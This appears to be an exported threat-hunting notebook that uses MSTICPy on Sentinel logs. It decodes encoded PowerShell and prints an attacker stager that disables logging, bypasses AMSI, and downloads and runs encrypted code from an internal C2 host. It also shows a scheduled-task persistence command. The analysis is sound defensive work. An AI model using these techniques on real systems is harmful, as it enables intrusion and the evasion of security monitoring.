'modified': '2021-07-05T09:04:24.714000',
'modified_text': '258 days ago ',
'name': 'Stacey Grubb',
'public': 1,
'pulse_source': 'web',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 13,
'tags': [],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0},
{'TLP': 'white',
'adversary': '',
'attack_ids': [],
'author': {'avatar_url': 'https://otx.alienvault.com/assets/images/default-avatar.png',
'id': '150272',
'is_following': False,
'is_subscribed': False,
'username': 'Staveybump3'},
'cloned_from': '5c76b2acd1420a1aac451307',
'comment_count': 0,
'created': '2021-06-05T09:23:32.488000',
'description': '',
'downvotes_count': 0,
'export_count': 0,
'follower_count': 0,
'groups': [],
'id': '60bb4294d971917a42131f36',
'in_group': False,
'indicator_count': 11806,
'indicator_type_counts': {'IPv4': 11806},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
'modified': '2021-07-05T09:04:24.714000',
'modified_text': '258 days ago ',
'name': 'Stacey Grubb',
'public': 1,
'pulse_source': 'web',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 13,
'tags': [],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0},
{'TLP': 'white',
'adversary': '',
'attack_ids': [],
'author': {'avatar_url': 'https://otx.alienvault.com/assets/images/default-avatar.png',
'id': '150272',
'is_following': False,
'is_subscribed': False,
'username': 'Staveybump3'},
'cloned_from': '5c76b2acd1420a1aac451307',
'comment_count': 0,
'created': '2021-06-05T09:23:32.585000',
'description': '',
'downvotes_count': 0,
'export_count': 0,
'follower_count': 0,
'groups': [],
'id': '60bb4294ea10608d79c747a3',
'in_group': False,
'indicator_count': 11806,
'indicator_type_counts': {'IPv4': 11806},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
'modified': '2021-07-05T09:04:24.714000',
'modified_text': '258 days ago ',
'name': 'Stacey Grubb',
'public': 1,
'pulse_source': 'web',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 14,
'tags': [],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0},
{'TLP': 'white',
'adversary': '',
'attack_ids': [],
'author': {'avatar_url': '/otxapi/users/avatar_image/media/avatars/user_80137/resized/80/avatar_54d0ee2979.png',
'id': '80137',
'is_following': False,
'is_subscribed': False,
'username': 'dorkingbeauty1'},
'cloned_from': '60bb427d18592281af3156f2',
'comment_count': 0,
'created': '2021-06-06T18:51:27.550000',
'description': '',
'downvotes_count': 0,
'export_count': 2,
'follower_count': 0,
'groups': [],
'id': '60bd192fb60e9d1df80931af',
'in_group': False,
'indicator_count': 11806,
'indicator_type_counts': {'IPv4': 11806},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
'modified': '2021-07-05T09:04:24.714000',
'modified_text': '258 days ago ',
'name': 'malware and ip SG',
'public': 1,
'pulse_source': 'web',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 227,
'tags': [],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0},
{'TLP': 'green',
'adversary': '',
'attack_ids': [],
'author': {'avatar_url': '/otxapi/users/avatar_image/media/avatars/user_91912/resized/80/avatar_2b1b2b88b6.png',
'id': '91912',
'is_following': False,
'is_subscribed': False,
'username': 'AlessandroFiori'},
'cloned_from': None,
'comment_count': 0,
'created': '2020-12-20T23:07:57.046000',
'description': 'For complete list please visit '
'https://apd.altervista.org/',
'downvotes_count': 0,
'export_count': 3,
'follower_count': 0,
'groups': [],
'id': '5fdfd94dc985acf4e5808d7e',
'in_group': False,
'indicator_count': 22990,
'indicator_type_counts': {'FileHash-SHA1': 3650,
'FileHash-SHA256': 778,
'FilePath': 1894,
'Mutex': 1894,
'URI': 1894,
'URL': 10504,
'YARA': 1894,
'domain': 145,
'hostname': 337},
'industries': [],
'is_author': False,
'is_modified': True,
'is_subscribing': None,
'locked': False,
'malware_families': [],
'modified': '2021-01-19T23:00:30.114000',
'modified_text': '425 days ago ',
'name': 'IOCs - 2020122106',
'public': 1,
'pulse_source': 'api',
'references': [],
'related_indicator_is_active': 0,
'related_indicator_type': 'IPv4',
'subscriber_count': 295,
'tags': [],
'targeted_countries': [],
'threat_hunter_has_agents': 1,
'threat_hunter_scannable': True,
'upvotes_count': 0,
'validator_count': 0,
'vote': 0,
'votes_count': 0}],
'references': [],
'related': {'alienvault': {'adversary': [],
'industries': [],
'malware_families': []},
'other': {'adversary': ['C&C - IP'],
'industries': [],
'malware_families': []}}},
'region': 'VA',
'reputation': 0,
'sections': ['general',
'geo',
'reputation',
'url_list',
'passive_dns',
'malware',
'nids_list',
'http_scans'],
'subdivision': 'VA',
'type': 'IPv4',
'type_title': 'IPv4',
'validation': [{'message': 'In cloud provider range: provider=AWS',
'name': 'Cloud Provider IP range',
'source': 'cloud'}],
'whois': 'http://whois.domaintools.com/100.24.200.233'}
Use properties of the the isolated attack events to search for successful operations with the same properties.
# Ignore this cell if using sample data
qry_prov = QueryProvider("AzureSentinel")
qry_prov.connect(WorkspaceConfig("Contoso"))
qry_prov.Azure.list_aad_signins_for_ip("?")
# Ignore this cell if using sample data
aad_attack_success_df = qry_prov.Azure.list_aad_signins_for_ip(
time_range,
ip_address_list=list(suspicious_logons.IPAddress.unique()),
add_query_items="| where ResultType = 0"
)
aad_attack_success_df
aad_attack_success_df = pd.read_pickle("data/aad_attack_success_df.pkl")
aad_attack_success_df
| SourceSystem | TimeGenerated | OperationName | ResultType | ResultDescription | Resource | Location | AppDisplayName | AppId | ClientAppUsed | DeviceDetail | IsInteractive | IPAddress | IsRisky | RiskDetail | UserAgent | UserDisplayName | UserId | UserPrincipalName | UserType | FlaggedForReview | IPAddressFromResourceProvider | Type | Latitude | Longitude | |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 0 | Azure AD | 2021-11-15 07:14:31.781000+00:00 | Sign-in activity | 0 | Microsoft.aadiam | PK | Microsoft Azure Active Directory Connect | d3590ed6-52b3-4102-aeff-aad2292ab01c | Mobile Apps and Desktop clients | {'operatingSystem': 'Android', 'deviceId': '', 'browser': 'Chrome Mobile 95.0.4638'} | True | 38.132.99.156 | None | none | Mozilla/5.0 (Linux; Android 10) Chrome/95.0.4638 | Nina Simone | 678e8e90-6fc8-4fc4-80e0-890408ef82b2 | n.simone@contoso.com | Member | None | SigninLogs | 30.0 | 70.0 | ||
| 1 | Azure AD | 2021-11-15 11:03:48.130000+00:00 | Sign-in activity | 0 | Microsoft.aadiam | LT | Microsoft Azure Active Directory Connect | d3590ed6-52b3-4102-aeff-aad2292ab01c | Mobile Apps and Desktop clients | {'operatingSystem': 'Android', 'deviceId': '', 'browser': 'Chrome Mobile 95.0.4638'} | True | 211.236.177.249 | None | none | Mozilla/5.0 (Linux; Android 10) Chrome/95.0.4638 | IT Operations | 2cceea3d-0166-4a0f-84fd-4f306ad4c159 | itops@contoso.com | Member | None | SigninLogs | 56.0 | 24.0 |
import msticpy
msticpy.init_notebook(globals(), verbosity=0);
# Ignore this cell if using sample data
qry_prov = QueryProvider("MSSentinel")
qry_prov.connect(WorkspaceConfig("CyberSecuritySOC"))
host_procs_df = qry_prov.WindowsSecurity.list_host_processes(host_name="WORKSTATION5")
# if querying from MS Sentinel - this renames a few fields
host_procs_df = (
host_procs_df
.assign(EventTime=host_procs_df.TimeGenerated)
.rename(columns={
"Computer": "Hostname",
})
.drop(columns=["TenantId", "Account", "SourceComputerId", "TimeGenerated"])
)
import pandas as pd
host_procs_df = pd.read_pickle("data/powershell_procs.pkl")
host_procs_df.CommandLine.str.len().plot.hist(
log=True, bins=100, figsize=(12,6), title="Commandline Size"
)
<AxesSubplot:title={'center':'Commandline Size'}, ylabel='Frequency'>
At least one seems suspicious
host_procs_df[host_procs_df.CommandLine.str.len() > 1000][["NewProcessName", "CommandLine"]]
| NewProcessName | CommandLine | |
|---|---|---|
| 22980 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFM... |
| 9163 | C:\Program Files (x86)\Google\Update\GoogleUpdate.exe | "C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZG... |
These are commonly used for system tasks and produce too much noise
host_procs_df[host_procs_df.NewProcessName.str.endswith("powershell.exe")].CommandLine
1358 powershell c:\diagnostics\WinBenignActivity.cmd -21187
1364 powershell "C:\diagnostics\WinBenignActivity.cmd" -22405
1372 powershell "C:\diagnostics\WinBenignActivity.cmd" "C:\diagnostics\WinBenignActivity.cmd" -24380...
1447 powershell c:\diagnostics\WinBenignActivity.cmd c:\diagnostics\WinBenignActivity.cmd -6063 c:\t...
1431 powershell "C:\diagnostics\WinBenignActivity.cmd" -603
...
17739 powershell "C:\diagnostics\WinBenignActivity.cmd" "C:\diagnostics\WinBenignActivity.cmd" -21077...
17751 powershell -29359 systemcleanup.ps1 -system 10950 -882
17769 powershell systemcleanup.ps1 -system 10950 systemcleanup.ps1 -system 10950 -14895 c:\temp\24812...
7451 .\powershell -Noninteractive -Noprofile -Command "Invoke-Expression Get-Process; Invoke-WebRequ...
7452 .\powershell -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdld...
Name: CommandLine, Length: 1295, dtype: object
decoded_cmds_df = host_procs_df.mp_b64.extract(column="CommandLine", utf16=True)
decoded_cmds_df[["CommandLine", "decoded_string", "src_index"]]
| CommandLine | decoded_string | src_index | |
|---|---|---|---|
| 0 | .\powershell -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdld... | -Noninteractive -Noprofile -Command "Invoke-Expression Get-Process; Invoke-WebRequest -Uri http:... | 968 |
| 1 | "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:Ap... | None | 22796 |
| 2 | "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:Cortana... | None | 22797 |
| 3 | C:\Windows\syswow64\MsiExec.exe -Embedding 772A9CF421EEC37E11490F01D0EDD091 C | 뷯砡凛쑾廗퀽㕝䄏༃畏 | 19546 |
| 4 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFM... | If($PSVERSiOnTaBlE.PSVErSIOn.MajOR -gE 3){$6866=[rEF].ASsEMbLY.GetTYPE('System.Management.Automa... | 22980 |
| 5 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFM... | http://10.10.10.5 | 22980 |
| 6 | .\powershell -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdld... | -Noninteractive -Noprofile -Command "Invoke-Expression Get-Process; Invoke-WebRequest -Uri http:... | 7452 |
| 7 | "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:Ap... | None | 3168 |
| 8 | "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:Cortana... | None | 3169 |
# use the src_index of the decoded results to select
# events with that index in the host_procs_df dataframe
encoded_cmds_df = host_procs_df.loc[decoded_cmds_df.src_index]
# display main columns
encoded_cmds_df[["SubjectUserName", "CommandLine", "SubjectLogonId"]]
| SubjectUserName | CommandLine | SubjectLogonId | |
|---|---|---|---|
| 968 | pgustavo | .\powershell -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdld... | 0xab5a5ac |
| 22796 | WORKSTATION5$ | "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:Ap... | 0x3e7 |
| 22797 | WORKSTATION5$ | "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:Cortana... | 0x3e7 |
| 19546 | WORKSTATION5$ | C:\Windows\syswow64\MsiExec.exe -Embedding 772A9CF421EEC37E11490F01D0EDD091 C | 0x3e7 |
| 22980 | pgustavo | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFM... | 0x2d5a4b |
| 22980 | pgustavo | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFM... | 0x2d5a4b |
| 7452 | pgustavo | .\powershell -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdld... | 0x1e821b5 |
| 3168 | WORKSTATION5$ | "C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:Ap... | 0x3e7 |
| 3169 | WORKSTATION5$ | "C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe" -ServerName:Cortana... | 0x3e7 |
In this case the processes in the system session (SubjectLogonId = '0x3e7') seem uninterested. Filter them out to get a list of remaining sessions
suspect_sessions = encoded_cmds_df[encoded_cmds_df.SubjectLogonId != "0x3e7"].SubjectLogonId.unique()
print("Remaining session IDs")
suspect_sessions
Remaining session IDs
array(['0xab5a5ac', '0x2d5a4b', '0x1e821b5'], dtype=object)
We want to view, not just the encoded commands but also other processes running in the same suspect sessions
# For many data schemas, you won't need to define a schema
# - MSTICPy has several common ones built in and understands how to
# use the data directly to stitch processes together into a tree
#
# Here our data is a little unusual (from OTRF Security Datasets)
# so we can define a schema that works with our data
from msticpy.sectools.proc_tree_schema import ProcSchema
custom_schema = ProcSchema(
time_stamp="EventTime",
process_name="NewProcessName",
process_id="NewProcessId",
parent_name="ParentProcessName",
parent_id="ProcessId",
logon_id="SubjectLogonId",
target_logon_id="TargetLogonId",
cmd_line="CommandLine",
user_name="SubjectUserName",
path_separator="\\",
user_id="SubjectUserSid",
event_id_column="EventID",
event_id_identifier=4688,
host_name_column="Hostname",
)
# First filter the data so we only have events from
# our suspect sessions
susp_events_df = host_procs_df[host_procs_df["SubjectLogonId"].isin(suspect_sessions)]
# Then use the MSTICPy process tree pandas accessor
# to display the process tree
susp_events_df.mp_plot.process_tree(
schema=custom_schema, show_table=True, legend_col="NewProcessName", hide_legend=True
)
It is pretty easy to spot the powershell processes with long, encoded command lines. Notice:
Find the process that we're interested in We read the following values from the process tree view:
# Use the PID and session ID we can extract our process
susp_events_df.query("NewProcessId == '0x90c' and SubjectLogonId == '0x2d5a4b'")
| EventID | Hostname | SubjectUserSid | SubjectUserName | SubjectDomainName | SubjectLogonId | NewProcessId | NewProcessName | TokenElevationType | ProcessId | CommandLine | ParentProcessName | TargetLogonId | EventTime | |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 22980 | 4688 | WORKSTATION5.theshire.local | S-1-5-21-2079883792-3656946353-945924832-1104 | pgustavo | THESHIRE | 0x2d5a4b | 0x90c | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | %%1938 | 0x988 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFM... | C:\Windows\System32\wscript.exe | 0x0 | 2020-09-04 16:09:55+00:00 |
(first 2000 characters)
susp_events_df.query("NewProcessId == '0x90c' and SubjectLogonId == '0x2d5a4b'").iloc[0].CommandLine[:2000]
'"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQA **-- AV Redacted --**'
decoded_script = (
susp_events_df
.query("NewProcessId == '0x90c' and SubjectLogonId == '0x2d5a4b'")
.mp_b64.extract(column="CommandLine", utf16=True)
.iloc[0]
.decoded_string
)
decoded_script
'If($PSVERSiOnTaBlE.PSVErSIOn.MajOR -gE 3){$6866=[rEF].ASsEMbLY.GetTYPE(\'System.Management.Automation.Utils\')."GEtFie`LD"(\'cachedGroupPolicySettings\',\'N\'+\'onPublic,Static\');If($6866){$1fe7=$6866.GetVaLUE($nUlL);<< Note content of script has been removed to avoid triggering AntiMalware scans >>;-------------- AV Redacted --------------;-------------- AV Redacted --------------;-------------- AV Redacted --------------;-------------- AV Redacted --------------;-------------- AV Redacted --------------(& $R $daTA ($IV+$K))|IEX'
from msticpy.analysis.code_cleanup import format_powershell
print(format_powershell(decoded_script))
if($psversiontable.psversion.major -ge 3)
{
$6866=[ref].assembly.gettype('system.management.automation.utils')."getfield"('cachedgrouppolicysettings','nonpublic,static')
if($6866)
<< Note content of script has been removed to avoid triggering AntiMalware scans >>
-------------- AV Redacted --------------
-------------- AV Redacted --------------
-------------- AV Redacted --------------
-------------- AV Redacted --------------
-------------- AV Redacted --------------
-------------- AV Redacted --------------
-------------- AV Redacted --------------
-------------- AV Redacted --------------
-------------- AV Redacted --------------
-------------- AV Redacted --------------
-------------- AV Redacted --------------
-------------- AV Redacted --------------
$data=$data[4..$data.length]
-join[char[]](& $r $data ($iv+$k))|iex
This uses the pygments Python package to parse and highlight the code.
from msticpy.vis.code_view import display_html
display_html(format_powershell(decoded_script), language="powershell")
if($psversiontable.psversion.major -ge 3)
{
$6866=[ref].assembly.gettype('system.management.automation.utils')."getfield"('cachedgrouppolicysettings','nonpublic,static')
if($6866)
{
$1fe7=$6866.getvalue($null)
if($1fe7['scriptblocklogging'])
{
$1fe7['scriptblocklogging']['enablescriptblocklogging']=0
$1fe7['scriptblocklogging']['enablescriptblockinvocationlogging']=0
}
$val=[collections.generic.dictionary[string,system.object]]::new()
$val.add('enablescriptblocklogging',0)
$val.add('enablescriptblockinvocationlogging',0)
$1fe7['hkey_local_machine\software\policies\microsoft\windows\powershell\scriptblocklogging']=$val
}
else
{
[scriptblock]."getfield"('signatures','nonpublic,static').setvalue($null,(new-object collections.generic.hashset[string]))
}
$ref=[ref].assembly.gettype('system.management.automation.amsiutils')
$ref.getfield('amsiinitfailed','nonpublic,static').setvalue($null,$true)
}
[system.net.servicepointmanager]::expect100continue=0
$f94e=new-object system.net.webclient
$u='mozilla/5.0 (windows nt 6.1
wow64
trident/7.0
rv:11.0) like gecko'
$ser=$([text.encoding]::unicode.getstring([convert]::frombase64string('aab0ahqacaa6ac8alwaxadaalgaxadaalgaxadaalga1aa==')))
$t='/news.php'
$f94e.headers.add('user-agent',$u)
$f94e.proxy=[system.net.webrequest]::defaultwebproxy
$f94e.proxy.credentials = [system.net.credentialcache]::defaultnetworkcredentials
$script:proxy = $f94e.proxy
$k=[system.text.encoding]::ascii.getbytes('3+ymcn)s0r8=#dxz65
}
o%|llhi~f
{
zb')
$r=
{
$d,$k=$args
$s=0..255
0..255|%
{
$j=($j+$s[$_]+$k[$_%$k.count])%256
$s[$_],$s[$j]=$s[$j],$s[$_]
}
$d|%
{
$i=($i+1)%256
$h=($h+$s[$i])%256
$s[$i],$s[$h]=$s[$h],$s[$i]
$_-bxor$s[($s[$i]+$s[$h])%256]
}
}
$f94e.headers.add("cookie","jqohudgrnlgeopyl=e2hzj61lui7hwmyqe63wuws0zz8=")
$data=$f94e.downloaddata($ser+$t)
$iv=$data[0..3]
$data=$data[4..$data.length]
-join[char[]](& $r $data ($iv+$k))|iex
iex == InvokeExpression (i.e. run the data as powershell script)¶$ref=[ref].assembly.gettype('system.management.automation.amsiutils')
import msticpy
msticpy.init_notebook(globals(), verbosity=0)
True
sch_task_events_df = pd.read_pickle("data/sch_task_summary.pkl")
(
sch_task_events_df[["EventID", "EventTime"]]
.groupby([pd.Grouper(key="EventTime", freq="5min")])
.agg({"EventID": "nunique"})
).plot(figsize=(15, 6), title="Unique EventIDs in 5min Window")
<AxesSubplot:title={'center':'Unique EventIDs in 5min Window'}, xlabel='EventTime'>
.mp_plot.timeline() makes it easier to see more detail¶sch_task_events_df.mp_plot.timeline(
time_column="EventTime",
group_by="description",
source_columns=["EventID", "description"],
)
schtasks.exe on the commandline¶We only have one in this case.
sch_tasks_procs = sch_task_events_df.query("EventID == 4688").dropna(
axis="columns", how="all"
)
sch_tasks_procs[
sch_tasks_procs.CommandLine.str.contains("schtasks", case=False)
].iloc[0].CommandLine
'"C:\\windows\\system32\\schtasks.exe" /Create /F /SC DAILY /ST 09:00 /TN MordorSchtask /TR "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -c \\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion debug).debug)))\\""'
IEX == Invoke-Expression
From schtasks help
/TR taskrun Specifies the path and file name of the program to be
run at the scheduled time.
Example: C:\windows\system32\calc.exe
print(
sch_tasks_procs[sch_tasks_procs.CommandLine.str.contains("schtasks", case=False)]
.iloc[0]
.CommandLine
.replace("/", "\n /").replace("-", "\n -")
)
"C:\windows\system32\schtasks.exe"
/Create
/F
/SC DAILY
/ST 09:00
/TN MordorSchtask
/TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
-NonI
-W hidden
-c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))\""
sch_task_events_df[sch_task_events_df.EventID == 106].dropna(axis="columns").iloc[0]
Channel Microsoft-Windows-TaskScheduler/Operational Hostname WORKSTATION5.theshire.local EventTime 2020-09-21 03:15:45+00:00 EventID 106 Task 106.0 AccountType User description 106 Name: 1479, dtype: object
(However it's in encoded XML)
sch_task_events_df[sch_task_events_df.EventID == 4698].dropna(
axis="columns", how="all"
).iloc[0]
Channel Security Hostname WORKSTATION5.theshire.local EventTime 2020-09-21 03:15:45+00:00 EventID 4698 SubjectDomainName THESHIRE SubjectUserSid S-1-5-21-4228717743-1032521047-1810997296-1104 SubjectUserName pgustavo SubjectLogonId 0x2b78cd Task 12804.0 TaskContent <?xml version="1.0" encoding="UTF-16"?>\r\n<Task version="1.2" xmlns="http://schemas.mi... event_id 4698.0 description A scheduled task was created. Name: 1484, dtype: object
import html
# Python's html library can unescape the XML entity encoding
xml_content = (
sch_task_events_df[sch_task_events_df.EventID == 4698]
.dropna(axis="columns", how="all")
.iloc[0]
.TaskContent
)
print(html.unescape(xml_content))
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2020-09-21T03:15:45</Date>
<Author>THESHIRE\pgustavo</Author>
<URI>\MordorSchtask</URI>
</RegistrationInfo>
<Triggers>
<CalendarTrigger>
<StartBoundary>2020-09-21T09:00:00</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
</Triggers>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
<AllowHardTerminate>true</AllowHardTerminate>
<StartWhenAvailable>false</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
<IdleSettings>
<Duration>PT10M</Duration>
<WaitTimeout>PT1H</WaitTimeout>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
<Priority>7</Priority>
</Settings>
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Command>
<Arguments>-NonI -W hidden -c "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))"</Arguments>
</Exec>
</Actions>
<Principals>
<Principal id="Author">
<UserId>THESHIRE\pgustavo</UserId>
<LogonType>InteractiveToken</LogonType>
<RunLevel>LeastPrivilege</RunLevel>
</Principal>
</Principals>
</Task>
IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)
Execute whatever comes next
IEX (...)
Read a string
[Text.Encoding]::UNICODE.GetString(...)
Decode from base64
[Convert]::FromBase64String(...)
Get property (debug value from HKCU...CurrentVersion\debug key)
gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug
HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion debug key?¶Task command line
/TR "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
-NonI
-W hidden
-c \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp HKCU:\Software\Microsoft\Windows\CurrentVersion debug).debug)))\""
gp == Get-ItemProperty
// Example query
EventsTable
| where EventReceivedTime <= datetime(2020-09-21 03:18:00)
| where EventReceivedTime >= datetime(2020-09-21 03:15:00)
| where EventID == 800
sch_tasks_ps800_df = pd.read_pickle("data/sch_task_ps800_df.pkl")
ps_registry_df = sch_tasks_ps800_df[
sch_tasks_ps800_df["Message"].str.contains(r"Windows\\CurrentVersion", case=False)
]
ps_registry_df[["EventTime", "SourceName", "Message"]]
| EventTime | SourceName | Message | |
|---|---|---|---|
| 146 | 2020-09-21 03:15:45+00:00 | PowerShell | Pipeline execution details for command line: $RegPath = 'HKCU:\Software\Microsoft\Windows\Curren... |
| 156 | 2020-09-21 03:15:45+00:00 | PowerShell | Pipeline execution details for command line: $ResultData = IEX $data\n. \r\n\r\n... |
Message field¶from msticpy.analysis.code_cleanup import format_powershell
print(format_powershell(ps_registry_df.iloc[0].Message)[:3000])
pipeline execution details for command line: $regpath = 'hkcu:\software\microsoft\windows\currentversion\debug'
$parts = $regpath.split('\')
$path = $regpath.split("\")[0..($parts.count -2)] -join '\'
$name = $parts[-1]
$null=set-itemproperty -force -path $path -name $name -value sqbgacgajabqafmavgblahiauwbjae8atgbuaeeaygbsagualgbqafmavgbfahiauwbpag8abgauae0ayqbkag8augagac0azwbfacaamwapahsajaa0admazabladiapqbbafiarqbgaf0algbbahmauwbfag0aygbsahkalgbhaguadabuahkacabfacgajwbtahkacwb0aguabqauae0ayqbuageazwblag0azqbuahqalgbbahuadabvag0ayqb0agkabwbuac4avqb0agkababzaccakqauaciarwbfahqargbjaguayabmaeqaigaoaccaywbhagmaaablagqarwbyag8adqbwafaabwbsagkaywb5afmazqb0ahqaaqbuagcacwanacwajwboaccakwanag8abgbqahuaygbsagkaywasafmadabhahqaaqbjaccakqa7aekargaoacqanaazaeqarqayackaewakadcamqayaeqayga9acqanaazaeqarqayac4arwbfahqavgbhagwadqbfacgajabuahuababmackaowbjagyakaakadcamqayagqaqgbbaccauwbjahiaaqbwahqaqganacsajwbsag8aywbraewabwbnagcaaqbuagcajwbdackaewakadcamqayaeqaygbbaccauwbjahiaaqbwahqaqganacsajwbsag8aywbraewabwbnagcaaqbuagcajwbdafsajwbfag4ayqbiagwazqbtagmacgbpahaadabcaccakwanagwabwbjagsatabvagcazwbpag4azwanaf0apqawadsajaa3adeamgbkagiawwanafmaywbyagkacab0aeiajwaraccababvagmaawbmag8azwbnagkabgbnaccaxqbbaccarqbuageaygbsaguauwbjahiaaqbwahqaqgbsag8aywbraekabgb2ag8aywbhahqaaqbvag4atabvagcazwbpag4azwanaf0apqawah0ajab2ageabaa9afsaqwbpaewatabfaemavabpag8abgbtac4arwblag4azqbsagkaywauaeqasqbjafqaaqbpae4aqqbsahkawwbtahqacgbjag4azwasafmaeqbtahqarqbtac4atwbiaeoarqbjahqaxqbdadoaogboaguavwaoackaowakafyaqqbmac4aqqbeagqakaanaeuabgbhagiabablafmaywbyagkacab0aeiajwaraccababvagmaawbmag8azwbnagkabgbnaccalaawackaowakafyayqbsac4aqqbkagqakaanaeuabgbhagiabablafmaywbyagkacab0aeiababvagmaawbjag4adgbvagmayqb0agkabwbuaewabwbnagcaaqbuagcajwasadaakqa7acqanwaxadiazabcafsajwbiaesarqbzaf8atabpaemaqqbmaf8atqbbaemasabjae4arqbcafmabwbmahqadwbhahiazqbcafaabwbsagkaywbpaguacwbcae0aaqbjahiabwbzag8azgb0afwavwbpag4azabvahcacwbcafaabwb3aguacgbtaggazqbsagwaxabtagmacgbpahaadabcaccakwanagwabwbjagsatabvagcazwbpag4azwanaf0apqakafyaqqbmah0arqbmafmarqb7afsauwbdahiasqbwafqaqgbsae8aywblaf0algaiaecazqb0aeyasqblagaababeaciakaanahmaaqbnag4ayqb0ahuacgblahmajwasaccatganacsajwbvag4auab1agiababpagmalabtahqayqb0agkaywanackalgbtaeuadabwageababvaguakaakae4adqbmagwalaaoae4arqbxac0atwbcagoarqbd